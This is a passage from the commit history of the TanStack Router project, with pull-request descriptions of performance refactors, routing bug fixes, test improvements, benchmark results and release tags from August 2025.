    replaceEqualDeep({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] })
    replaceEqualDeep({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
  })
})
```
```sh
 ✓  @tanstack/router-core  tests/utils.bench.ts > replaceEqualDeep 1540ms
     name                          hz     min     max    mean     p75     p99    p995    p999     rme  samples
   · old implementation  1,040,201.62  0.0008  0.7638  0.0010  0.0010  0.0013  0.0016  0.0022  ±0.33%   520101
   · new implementation  1,347,988.70  0.0006  2.4037  0.0007  0.0007  0.0010  0.0010  0.0013  ±0.95%   673995   fastest

 BENCH  Summary

   @tanstack/router-core  new implementation - tests/utils.bench.ts > replaceEqualDeep
    1.30x faster than old implementation
```

---

The `replaceEqualDeep` implementation before this PR handles Symbol
keys, and non-enumerable keys (see
https://github.com/TanStack/router/pull/4237), but **not** keys that are
both a Symbol and non-enumerable.

This PR fixes this issue. But if we also fix it in the previous
implementation before comparing performance we get a bigger perf diff
```sh
 ✓  @tanstack/router-core  tests/utils.bench.ts > replaceEqualDeep 1471ms
     name                          hz     min     max    mean     p75     p99    p995    p999     rme  samples
   · old implementation    713,964.88  0.0012  0.7880  0.0014  0.0014  0.0019  0.0023  0.0050  ±0.35%   356983
   · new implementation  1,319,003.07  0.0006  5.0000  0.0008  0.0007  0.0010  0.0016  0.0050  ±1.96%   659502   fastest

 BENCH  Summary

   @tanstack/router-core  new implementation - tests/utils.bench.ts > replaceEqualDeep
    1.85x faster than old implementation
```


---



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Change detection now includes symbol-keyed properties, treats
undefined/missing entries consistently, and avoids processing objects
with non-enumerable own properties to prevent incorrect updates.
  * No public API changes.

* **Performance**
* Equality/merge logic reuses unchanged values more reliably and
improves array update handling by allocating appropriately, reducing
unnecessary work.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-30 15:16:20 +02:00
Flo
48551b357a
refactor(router-core): slightly faster deepEqual (#5051)
## description
- inline `getObjectKeys` as regular control flow inside `deepEqual` to
be able to skip as much work as possible, and create fewer objects
- using a regular `for` loop for the array case to skip the overhead of
using native array iterators w/ the `.every()` or `.some()` methods
- check `Array.isArray` before `isPlainObject` because this check is
cheaper
- `opts.partial` is a special case that allows us to skip a bunch of
work, so we give it its own branch

## benchmark

TL;DR: consistently 1.7x faster implementation

```ts
describe.only('deepEqual', () => {
  bench('old implementation', () => {
    deepEqualOld({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] }, {partial: true})
    deepEqualOld({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
  })

  bench('new implementation', () => {
    deepEqual({ a: 1, b: [2, 3] }, { a: 1, b: [2, 3] }, {partial: true})
    deepEqual({ a: 1, b: [2, 3] }, { a: 2, b: [2] })
  })
})
```

```sh
 ✓  @tanstack/router-core  tests/utils.bench.ts > deepEqual 2484ms
     name                          hz     min     max    mean     p75     p99    p995    p999     rme  samples
   · old implementation  3,806,354.20  0.0002  4.3084  0.0003  0.0003  0.0005  0.0007  0.0013  ±1.78%  1903178
   · new implementation  6,978,154.05  0.0001  0.1937  0.0001  0.0002  0.0002  0.0002  0.0003  ±0.15%  3489078   fastest

 BENCH  Summary

   @tanstack/router-core  new implementation - tests/utils.bench.ts > deepEqual
    1.83x faster than old implementation
```

----

This PR also adds test cases for using `deepEqual` w/ objects containing
Symbol and non-enumerable keys. The behavior for those was not changed
in this PR, we're just documenting it: they are simply ignored.

----

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved deep-equality checks for arrays and object comparisons;
ignore-undefined handling clarified and made more consistent.

* **Refactor**
* Iteration and comparison logic reorganized for earlier
short-circuiting; behavior around enumerable (including inherited) keys
adjusted; no public API changes.

* **Tests**
* Added tests demonstrating edge cases with symbol/non-enumerable
properties and prototype augmentation (marked as expected failures).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-30 15:16:06 +02:00
Tanner Linsley
90e900613c release: v1.131.29 2025-08-29 19:37:54 +00:00
Karolis Užkuraitis
4b792b923b
fix(solid-router): RouteProvider Wrap and Match InnerWrap support propagating context to their children (#5033)
Refactored a bit router options.Wrap and options.InnerWrap usage in
RouterProvider and Match components.
Now they will be able to provide context for their children components.

Added few tests for scenarios that were failing before.

Fixes #3744

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* New Features
* Consistent wrapper handling across routing so routed content and
pending states share the same wrapper/context without adding extra DOM
nodes.
* Exposed createMemoryHistory for memory-based routing in apps and
tests.

* Refactor
* Simplified suspense and wrapper handling for clearer, safer rendering
behavior.

* Tests
* Added tests verifying context propagation through wrappers and into
pending (fallback) states.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-29 21:24:38 +02:00
Tanner Linsley
a98c89c5e2 release: v1.131.28 2025-08-26 17:32:10 +00:00
Nico Lynzaad
2df8e52ba0
fix(Relative routing): Default relative routing to current location (#4978)
When using relative routing we have 3 things to consider:

1) Is this relative to the current location? This is specifically
relevant for using `to="."` and `to=".."` in layout routes
2) Is this relative to the rendered route location?
3) Should this be relative to some other route in the tree

We have had a few issues where it hasn't been clear how relative routing
is applied in various scenarios, and where the application differs, for
example `to="."` and `to=".."` was treated differently.

This PR applies the following:
1) when no from path is specified, navigation is done from the current
location, this does not affect absolute paths but makes relative paths
more standardised.
2) other relative navigations require a from location to be specified.

This is achieved by setting Link and useNavigate to default to the
current active location instead of the rendered route location. This
also simplifies the logic in buildLocation as we no longer specifically
cater for `to="."`.

Included in this PR is the required changes to router-core
(buildLocation), react-router and solid-router (Link and useNavigate),
tests for both react-router and solid-router and an update to the docs
to clarify the usage.

This closes #4842

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added active-location hooks, origin-aware navigation helpers,
programmatic Route API for Link generation, browser-history utilities,
optional from origin for Navigate, and route fullPath exposure.

* **Bug Fixes**
* More deterministic relative navigation (., ..) resolution,
preservation of search/params, and runtime warnings for invalid origins.

* **Documentation**
  * Clarified relative-link semantics and updated examples.

* **Tests**
* Vastly expanded end-to-end coverage for relative navigation, masking,
basepath, and trailing-slash permutations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-26 19:30:31 +02:00
Lee
81346508fd
docs: add guide for edit docs and preview in local (#5005) 2025-08-24 22:35:00 +02:00
Flo
9cc216b41c
test(react-router): add more variants to store-updates test (#5019)
Add a few more setup configurations to measure the number of `__store`
updates:
- with caching (`staleTime > 0`)
- when preloading multiple times the same route (simulates hovering a
list of links to the same page w/ different params)

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-23 16:26:36 +02:00
Cory House
40f9ab7157
Refine wording in external data loading guide (#5015) 2025-08-23 08:01:54 +02:00
Flo
3f05c0b16b
test(router-core): fix flakiness of store-updates 'preload then navigate' test (#4995)
It turns out the 'hover preload, then navigate, w/ async loaders' test
in
`packages/react-router/tests/store-updates-during-navigation.test.tsx`
was sometimes (but very rarely) yielding 16 updates instead of the
expected 15. This PR makes minimal changes to this test so that it's now
reliably 14.

I'm not exactly sure where we lost that 1 update, so we might not be
measuring exactly the same thing. But it's still worth it to have a
robust test suite.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Tests**
* Improved reliability of hover preloading and navigation behavior tests
by introducing realistic loader delays and aligning interaction timing,
reducing flakiness.
* Updated assertions for store updates during navigation to reflect
observed behavior, ensuring more stable and predictable test outcomes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-19 09:18:47 +02:00
Tanner Linsley
83ab17331b release: v1.131.27 2025-08-19 06:53:58 +00:00
Flo
da22c5a6c8
refactor(router-core): scroll-restoration minor performance cleanup (#4990)
Some minor performance improvements in `scroll-restoration.ts`
- in `getCssSelector`: 
- we can obtain `indexOf` without creating an empty array through
`Array.prototype.indexOf`
- using `.unshift` in a loop is always bad for performance. To build
arrays in reverse, use `.push()` in the loop, and `.reverse()` at the
end.
- in `restoreScroll`: 
- we can early exit without creating an IIFE by using a [labeled
statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label)
- we can avoid creating an array of elements to iterate over since we
already have an array
- in `onScroll`: 
- we can avoid accessing the same key twice by using the `||=` operator

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
  - None
- Bug Fixes
  - More reliable scroll restoration after navigation and refresh.
- Improved handling of URL hash anchors for accurate in-page scrolling.
  - Consistent scroll-to-top behavior across configured elements.
- Avoids runtime errors when session storage is unavailable or data is
invalid.
- Refactor
- Streamlined scroll handling and state initialization for improved
stability and minor performance gains.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-19 08:45:35 +02:00
Flo
5134aa286d
refactor(router-core): shouldExecuteBeforeLoad is always true (#4992)
Fix https://github.com/TanStack/router/pull/4971#discussion_r2282953542

With the code now simplified by previous PRs, we noticed that the
`shouldExecuteBeforeLoad` guard is always true, so we can clean it up.

In a follow up PR, we'll revise the conditions under which a
`beforeLoad` should be called or skipped.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Streamlined pre-load checks and execution flow, reducing branching and
improving consistency across client and server rendering.
* Unified orchestration of the before-load phase to simplify control
flow and improve maintainability.

* **Bug Fixes**
* More reliable handling of redirects and “not found” states during
preloading, preventing unintended execution paths and improving
navigation stability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-19 08:43:55 +02:00
Flo
a7504ae79e
refactor(router-core): simplify defaultParseSearch & defaultStringifySearch (#4985)
Wait for this PR before merging:
https://github.com/TanStack/router/pull/4987. It adds unit tests that
should help make sure we're not breaking anything here.

--- 

The functions used to serialize and deserialize search params are called
*a lot*, but they are creating many unnecessary objects. This PR
refactors
- `encode` to be only as generic as what we need => in practice we only
need to handle 1 value per key (i.e. `.set()` and not `.append()`) so we
don't need a special case for arrays
- `decode` can avoid creating many arrays
- `stringifySearchWith` (and `defaultStringifySearch`) don't need to
pre-stringify the input into a `<string,string>` dictionary as `encode`
now accepts a stringifier function


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Breaking Changes
- Removed encode and decode from React Router and Solid Router public
exports.
  - Query string prefix support removed in encode/decode.
- Refactor
- Updated query string handling: arrays encode as comma-separated
values; duplicate keys decode into arrays.
- Streamlined error handling and avoided input mutation; consistent
leading “?” management.
- Tests
- Updated tests to match new encoding/decoding behavior and removed
prefix-related cases.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-19 08:42:53 +02:00
Flo
f1c13a04e3
test(router-core): add search param serialization / deserialization unit tests (#4987)
Just some tests for `defaultParseSearch` and `defaultStringifySearch`,
because they're used a lot and are very public and can handle user
inputs (as in final human users, not devs).

These tests are just documentation of the current behavior.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Tests**
* Added a comprehensive test suite for URL query-string
serialization/deserialization covering empty values, primitives,
complex/nested structures, special characters, circular/self-references,
and unusual inputs (e.g., Number/String objects, Promise, Date).
* Verifies round-trip isomorphism and behavior when parsing externally
sourced or malformed query strings.
  * No public API changes and no user-facing changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-19 08:16:58 +02:00
Tanner Linsley
f2190d77ba release: v1.131.26 2025-08-18 07:56:53 +00:00
Flo
2c1f8b94f4
refactor(router-core): redirect skips creating a URL object if href is not a string (#4986)
Creating a `URL` object is a little expensive, and we know it's going to
throw if `href` is not a string. So we can skip it entirely in that case
(which is probably most cases?).

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved redirect handling to avoid errors when a URL is missing or
invalid.
* Added safeguards to prevent runtime crashes when redirect data is
null.
  * Enhanced URL parsing reliability during redirects.
  * No changes to public APIs.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-18 09:55:32 +02:00
Tanner Linsley
fa3f8faf45 release: v1.131.25 2025-08-17 19:27:38 +00:00
Flo
a7b1667827
refactor(router-core): remove pick utility in favor of direct object manipulation (#4983)
Based on the current usage of `pick`, directly addinf the picked keys to
the objects will be less overhead with the same result.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Refactor
- Simplified internal routing logic related to navigation options; no
change to runtime behavior.
- Chores
  - Removed an internal utility no longer used.
- Public API
- One non-essential utility export was removed from package entry
points, slightly reducing the public API surface.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-17 21:26:07 +02:00
Tanner Linsley
472cac4ae4 release: v1.131.24 2025-08-17 16:43:55 +00:00
Flo
642964e4e3
refactor(router-core): reduce buildLocation object allocations (#4981)
When we can (and it's reasonable), it's always beneficial to reduce the
number of objects we create in JS, so as to minimize the memory pressure
and the GC work.

`buildLocation` gets called pretty often, so removing a few object
allocations can be very beneficial (especially inside loops).

Also, from a purely "immediate performance" point of view,
`Object.assign` tends to be faster than `{...foo}`.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Route parameter and search handling now use in-place updates to reduce
allocations and streamline iteration/control flow; behavior and public
API remain unchanged.
* **Tests**
* Updated tests to capture cloned parameter objects and assert on exact
values rather than relying on mock call history, preventing
mutation-related flakiness.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-17 18:35:45 +02:00
Tanner Linsley
b953a37860 release: v1.131.23 2025-08-17 16:32:35 +00:00
Flo
9437fee5c7
refactor(router-core,react-router,solid-router): avoid copying arrays just to .reverse() them (#4980)
The pattern of copying an array just to `.reverse()` it and iterate it
from the end ends up creating a transient object (a copy of the array)
that needs to be garbage collected.

For example:
```ts
[...array].reverse().find(() => {/*...*/})
```
or
```ts
[...array].reverse().forEach(() => {/*...*/})
```

Instead we can use a regular `for` loop to iterate it from the end. This
will be mostly beneficial in `router-core > router > buildLocation` that
gets called pretty often.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **Refactor**
- Improved head metadata processing in React and Solid routers to be
more efficient and readable, reducing work for large route metadata
sets.
- Simplified route matching logic to consistently pick the last relevant
match, improving clarity and maintainability.

- **Chores**
- Added a utility to locate the last list item meeting a condition,
supporting cleaner routing internals.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-17 18:30:59 +02:00
Tanner Linsley
72b65cfcca release: v1.131.22 2025-08-16 19:08:03 +00:00
Flo
d00b9c1678
refactor(router-core): fewer getMatch calls (#4971)
some miscellaneous minor optimizations in the `loadMatches` pipeline.
- try and reduce the number of times we call `getMatch`
- ~~`onReady` doesn't need to return a promise (because it's never used
as such)~~
actually some things fail without the artificially added microtask here
- don't create `beforeLoadPromise` if there is no `beforeLoad` option
anyway

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- Improved NotFound and error handling to prevent unnecessary blocking
and ensure readiness triggers correctly.
  - More reliable SSR and preload behavior across route transitions.

- Refactor
- Streamlined route loading with per-route stale-while-revalidate,
reducing redundant work and improving navigation responsiveness.
- Reduced internal lookups and clarified readiness semantics for more
predictable loading states.

- Public API
- onReady callback is now synchronous (no Promise), aligning with
updated readiness flow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-16 21:06:22 +02:00
Tanner Linsley
cb6d34aa95 release: v1.131.21 2025-08-16 17:42:54 +00:00
Flo
dbf89e5446
refactor(router-core): split loadMatches into its own file (#4969)
After the "flattening" PR https://github.com/TanStack/router/pull/4961,
we now have a very clear *separate responsibility* the `Router` class is
handling: loading matches.

This PR proposes we split the code that handles "loading matches" into
its own `load-matches.ts` file, with the entry points being
- `loadMatches`
- `loadRouteChunk`

In future PRs, we might consider splitting other responsibilities out of
the 3k LoC `router.ts` file

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-16 19:37:14 +02:00
Tanner Linsley
5c59e429a8 release: v1.131.20 2025-08-16 17:29:16 +00:00
Gürkan Sevil
2c24acbd06
fix(solid-router): correctly assign createLazyFileRoute on window (#4956) 2025-08-16 19:15:58 +02:00
Tanner Linsley
35485bb328 release: v1.131.19 2025-08-16 15:33:56 +00:00
Flo
78ef1c9cd6
refactor(router-core): loadMatches extra microtask (#4967)
The `loadMatches` has an unnecessary complicated async setup, probably
due to how complicated the function was before recent cleanups:

```ts
async function loadMatches() {
  try {
    await new Promise((resolve, reject) => {
      ;(async () => {
        try {
          // the logic
          resolve()
        } catch (err) {
          reject(err)
        }
      })()
    })
    // after promise
  } catch (err) {
    // error handling
  }
}
```

Aside from some scheduling differences due to unnecessary promises in
the above example, this can be simplified down to this:
```ts
async function loadMatches() {
  try {
    // the logic
    // after promise
  } catch (err) {
    // error handling
  }
}
```

This is what this PR does.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
  - No user-facing changes.

- Refactor
- Simplified internal async flow for route loading, removing redundant
promise wrapping.
- Maintains existing behavior and public API; no action required from
users.
- More consistent error handling and slightly reduced overhead during
parallel loads.
- Improves maintainability and prepares the codebase for future
enhancements.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-16 17:27:36 +02:00
Manuel Schiller
f6fcb1bf68
fix: correctly replace bracked escaped part (#4968)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Routing now correctly handles bracketed dynamic segments with multiple
characters in paths. Contents like [userId] are preserved in full (no
longer truncated to a single character), ensuring accurate initial route
generation and consistent navigation behavior for dynamic routes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-16 17:24:25 +02:00
Tanner Linsley
74be2861ca release: v1.131.18 2025-08-16 12:04:58 +00:00
Flo
f70688f787
refactor(router-core): Verify changes are necessary before updating store (#4964)
Following https://github.com/TanStack/router/pull/4916,
https://github.com/TanStack/router/pull/4925,
https://github.com/TanStack/router/pull/4926, and
https://github.com/TanStack/router/pull/4928, this PR keeps reducing the
number of store updates (`__store.setState` through `updateMatch`).

We check the values we want to set in the store are *actually different*
from what is already in the store before calling `updateMatch`

---

In the `store-updates-during-navigation` test tracking the number of
executions of a `useRouterState > select` method during a navigation,
our main test case goes from **14 calls** without this PR, to **10
calls** with this PR. Most test cases show significant improvements as
well.

---

Should be a partial improvement of
https://github.com/TanStack/router/issues/4359

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Prevented loss of previously loaded data during navigation when a
loader yields no value.
* Stabilized preloading to avoid redundant updates and unnecessary state
churn.
* Improved loading-state cleanup after navigation, reducing flicker and
inconsistent “fetching” indicators.

* **Performance**
* Reduced unnecessary state updates and re-renders during and after
preloads/loads for smoother navigation.

* **Tests**
* Updated async navigation tests to reflect refined timing and
data-return behavior and added a helper to simulate delayed async
results.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-16 14:03:23 +02:00
Tanner Linsley
1ccf7c827a release: v1.131.17 2025-08-16 08:50:25 +00:00
Flo
405ef6b82b
refactor(router-core): skip beforeLoad and related store updates if options is not defined (#4928)
Following https://github.com/TanStack/router/pull/4916, this PR keeps
reducing the number of store updates (`__store.setState` through
`updateMatch`).

Early bail out of route before load step if `route.options.beforeLoad`
is not defined

---

The `store-updates-during-navigation` test tracking the number of
executions of a `useRouterState > select` method during a navigation
goes from **17 calls** without this PR, to **14 calls** with this PR (or
even 13 calls if `beforeLoad` is synchronous).

---

Should be a partial improvement of
https://github.com/TanStack/router/issues/4359

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a not-found helper and router options to configure a default Not
Found component and a default preload strategy.

* **Refactor**
* Streamlined the before-load lifecycle for more deterministic
pending-state updates, earlier pending-timeout readiness, clearer
parameter/search error surfacing, and adjusted context composition;
loader error timing is more conservative.

* **Tests**
* Expanded test coverage with new scenarios (sync before-load, not-found
flow, hover-preload/navigation) and updated navigation update
expectations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-16 10:48:50 +02:00
Tanner Linsley
4dd0cbeb3e release: v1.131.16 2025-08-15 21:21:30 +00:00
Flo
d6a77e1d6b
refactor(router-core): flatten loadMatches (#4961)
This PR *should* be a no-op. Just restructuring the code to have all the
functions used by `loadMatches` at the same level, instead of nested
callbacks. In order to still have access to the data that was previously
in scope because of nesting, we use a `innerLoadContext` object, which
is basically just the arguments of `loadMatches`, and a few mutables.

However, in order to do so, we have to rearrange promises in an area
that is sensitive to any microtask order change, and we did change some
of them. So this is not *really* a no-op, even though this does not
attempt any optimization.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Smoother navigations with predictable pending states and minimum
display durations.
  - More consistent head/meta updates after route loading.
- Bug Fixes
- More reliable redirects and 404 handling, including during preloading
and SSR.
  - Reduced UI flicker by refining pending and preloading behavior.
- Refactor
- Reworked the routing load pipeline for improved performance,
stability, and SSR behavior.
- Streamlined before-load steps for clearer, more consistent execution.
- Tests
  - Updated tests to reflect the new loading flow.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 23:19:56 +02:00
Tanner Linsley
0df9067bcc release: v1.131.15 2025-08-15 15:17:04 +00:00
Manuel Schiller
b8ef497d90
fix: do not rename functions / variables when code splitting (#4960)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-15 17:13:26 +02:00
Tanner Linsley
be3931bf4b release: v1.131.14 2025-08-15 14:43:10 +00:00
Flo
fe3bb45a7c
refactor(router-core): skip loader and store update if nothing to await (#4926)
Following https://github.com/TanStack/router/pull/4916 and
https://github.com/TanStack/router/pull/4925, this PR keeps reducing the
number of store updates (`__store.setState` through `updateMatch`).

Reduce amount of work in `runLoader`:
- don't `updateMatch` to set `isFetching: 'loader'` if we know the
entire function will be synchronous
- don't await `route.options.loader()` if it is synchronous
- don't update store with `loaderData` if `route.options.loader` is not
defined
- don't `await route._lazyPromise` if it has already resolved
- don't `await route._componentsPromise` if it has already resolved
- don't `await minPendingPromise` if it is not defined or has already
resolved

For a sync `loader`, with already loaded route chunks, `runLoader`
should be synchronous and trigger a single `updateMatch` call.

---

The `store-updates-during-navigation` test tracking the number of
executions of a `useRouterState > select` method during a navigation
goes from **19 calls** without this PR, to **17 calls** with this PR.

---

Should be a partial improvement of
https://github.com/TanStack/router/issues/4359

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-15 16:41:41 +02:00
Tanner Linsley
191ad1eda4 release: v1.131.13 2025-08-15 07:51:01 +00:00
Flo
4e959b4426
refactor(router-core): simplify handleRedirectAndNotFound (#4958)
Minor cleanup of `handleRedirectAndNotFound` in `router-core`. The code
looked like there were 3 possible cases, but `err` is only handled if
it's a redirect or a notFound.

This PR is a no-op, it's just code cleanup without any functional
changes.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-15 09:49:38 +02:00
Tanner Linsley
e8e7a74b20 release: v1.131.12 2025-08-15 07:39:21 +00:00
Flo
6b124c66e6
refactor(router-core): head, scripts, headers are executed in parallel and can skip store update (#4925)
Following https://github.com/TanStack/router/pull/4916, this PR keeps
reducing the number of store updates (`__store.setState` through
`updateMatch`).

We can skip `route.options.head()`, `route.options.scripts()`, and
`route.options.headers()` calls, if they are not defined, and not even
call `updateMatch` after.

Additionally, `head`, `scripts` and `headers` are now called in
parallel. They don't depend on one another, and so there is no reason to
delay their execution by calling them serially.

---

This PR also fixes 2 issues:
- in `cancelMatch`, we were resetting the timeout id to `undefined`
**before** calling `clearTimeout()` with it
- `handleRedirectAndNotFound` is sometimes called w/ `match` being
`undefined` (in case of a redirecting match during preload), which went
undetected because of heavy `match!` assertions, and the many
`try/catch` blocks

---

With this PR, the `redirection in preload` test in
`store-updates-during-navigation` goes from **11 updates** during the
preload to **8 updates**.

---

Should be a partial improvement of
https://github.com/TanStack/router/issues/4359

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-15 09:37:59 +02:00
Flo
3c3497a6e8
test(react-router): improve store-updates-during-navigation tests (#4957)
The `store-updates-during-navigation.test.tsx` file tests how many times
`updateMatch` is called during a navigation (i.e. how many times the
store is updated, and all subscribers re-run).

In this PR we clean up this test file to allow us to more easily test
various navigation types. We also add a test for "redirection inside
beforeLoad" whose result will be improved by
https://github.com/TanStack/router/pull/4925

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-15 09:16:41 +02:00
Tanner Linsley
6999fd9db8 release: v1.131.11 2025-08-13 23:03:50 +00:00
Manuel Schiller
b3e8e4aaf7
fix: initialize generator in esbuild plugin (#4949) 2025-08-14 01:00:41 +02:00
Tanner Linsley
8a15b54da3 release: v1.131.10 2025-08-13 22:36:13 +00:00
Gürkan Sevil
f889a2470d
fix(react-router): correctly assign createLazyFileRoute on window (#4948) 2025-08-14 00:29:49 +02:00
Tanner Linsley
69c1d753ac release: v1.131.9 2025-08-13 20:47:33 +00:00
Brenley Dueck
e86dfea947
fix: remount deps for solid (#4947) 2025-08-13 22:41:56 +02:00
Lee
055ba50212
docs(router): update NotFoundError type (#4866)
- Mark the `global` property of `NotFoundError` as deprecated
- Add a description for `headers`
- Sort the properties in order

Signed-off-by: leesb971204 <leesb971204@gmail.com>
2025-08-13 16:19:14 +12:00
Piotr Kuczynski
ffec133383
docs(eslint): resolve conflict with typescript-eslint/only-throw-error rule (#4934)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-08-13 13:58:04 +12:00
Sean Cassiere
63c6df8d13
test(solid-router): add test from #4930 (#4941) 2025-08-13 13:36:12 +12:00
Tanner Linsley
1707df15c4 release: v1.131.8 2025-08-13 01:07:21 +00:00
jihoon
638a902ee6
fix(router-plugin): add support for boolean and null literals in code splitter (#4915)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-08-13 13:01:57 +12:00
Tanner Linsley
38abdc2869 release: v1.131.7 2025-08-12 07:21:13 +00:00
Nico Lynzaad
bd034bd6a3
fix(router-core): buildLocation must consider basePath when resolving fromPath (#4930)
when building the location we are already considering the `basepath` for
the `to` path resolution but we don't do the same for the `from` path.

This PR resolves the `from` path also with the `basepath` so as to
ensure a like for like comparison with `to`.

This PR resolves #4924 and also adds a test to check for this regression
going forward

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-08-12 09:19:42 +02:00
alexgaudon
cb895ff86c
docs: Fix grammar and improve clarity in routeTree.gen.ts FAQ. (#4922) 2025-08-11 20:17:15 +02:00
Tanner Linsley
1608e66173 release: v1.131.6 2025-08-11 16:28:55 +00:00
Manuel Schiller
c71a9b8fd5
fix: server functions reference serialization (#4913) 2025-08-11 18:22:07 +02:00
Tanner Linsley
93c624c5d3 release: v1.131.5 2025-08-11 14:06:14 +00:00
Flo
039889abb8
refactor(router-core): Avoid creating empty objects when not necessary (#4923)
`undefined` is allowed as the parameter of the `...` spread operator. It
is not necessary to create an empty object `{}` as a fallback.

Creating objects incurs more work by the garbage collector, so
minimizing how many are created if a performance improvement.
2025-08-11 15:58:46 +02:00
Flo
94ea50ff19
refactor(react-router,solid-router): Minor simplification of MatchInner match logic in select (#4921)
We don't need the `matchIndex` in `Match > MatchInner > useRouterState >
select`. It must have been left after a previous refactor.
2025-08-11 15:58:39 +02:00
Tanner Linsley
b84a5ce0c1 release: v1.131.4 2025-08-11 12:01:14 +00:00
Flo
916253ad2d
refactor(router-core): Reduce navigation work by making some properties non-reactive (#4916)
Some of the properties of a route match in the store do not need to be
reactive (i.e. reactive = trigger the execution of all subscribers when
they change).

This PR proposes we add a `_nonReactive` key for storing these
properties.

Changes to properties in `_nonReactive` can be made like on a regular
object, without the need to call `__store.setState`, and without making
a shallow copy of the object.

The following properties were moved to `_nonReactive` (but more would be
welcome if we can find which ones):
- `beforeLoadPromise`
- `loaderPromise`
- `pendingTimeout`
- `loadPromise`
- `displayPendingPromise`
- `minPendingPromise`
- `dehydrated`

This results in the removal of 4 `updateMatch` calls in `router-core`.
At least 1 of which is in the hot-path of a navigation (`loadMatches` >
